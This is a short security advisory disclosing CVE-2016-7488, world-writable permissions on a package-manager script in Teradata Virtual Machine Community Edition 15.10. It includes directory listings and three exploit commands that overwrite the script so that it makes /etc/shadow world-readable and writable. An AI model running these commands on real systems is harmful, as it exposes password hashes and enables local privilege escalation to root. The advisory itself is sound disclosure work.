Teradata Virtual Machine Community Edition 15.10 Insecure File Permission
Posted on 11 November 2016
Title: Teradata Virtual Machine Community Edition v15.10 has insecure file permission Author: Larry W. Cashdollar, @_larry0 Date: 2016-10-01 Download Site: http://downloads.teradata.com/download/database/teradata-virtual-machine-community-edition-for-vmware <http://downloads.teradata.com/download/database/teradata-virtual-machine-community-edition-for-vmware> Vendor: Teradata Vendor Notified: 2016-10-01 Vendor Contact: webform contact Description: A database appliance for virtual machine environments. Vulnerability: Teradata Virtual Machine Community Edition v15.10 has insecure file permissions on /etc/luminex/pkgmgr. These could allow a local user to modify its contents and execute commands as root. TVME:/ # ls -ld /etc/luminex/ drwxrwxrwx 2 root root 4096 Mar 3 2016 /etc/luminex/ TVME:/# ls -l /etc/luminex/ total 128 -rwxrwxrwx 1 root root 24576 Mar 3 2016 packages.db -rwxrwxrwx 1 root root 102357 Mar 3 2016 pkgmgr CVE: CVE-2016-7488 Exploit Code: aC/ $ echo "#/bin/bash" > /etc/luminex/pkgmgr aC/ $ echo "chmod 666 /etc/shadow" >> /etc/luminex/pkgmgr aC/ $ chmod 755 /etc/luminex/pkgmgr Advisory: http://www.vapidlabs.com/advisory.php?v=172 <http://www.vapidlabs.com/advisory.php?v=172>
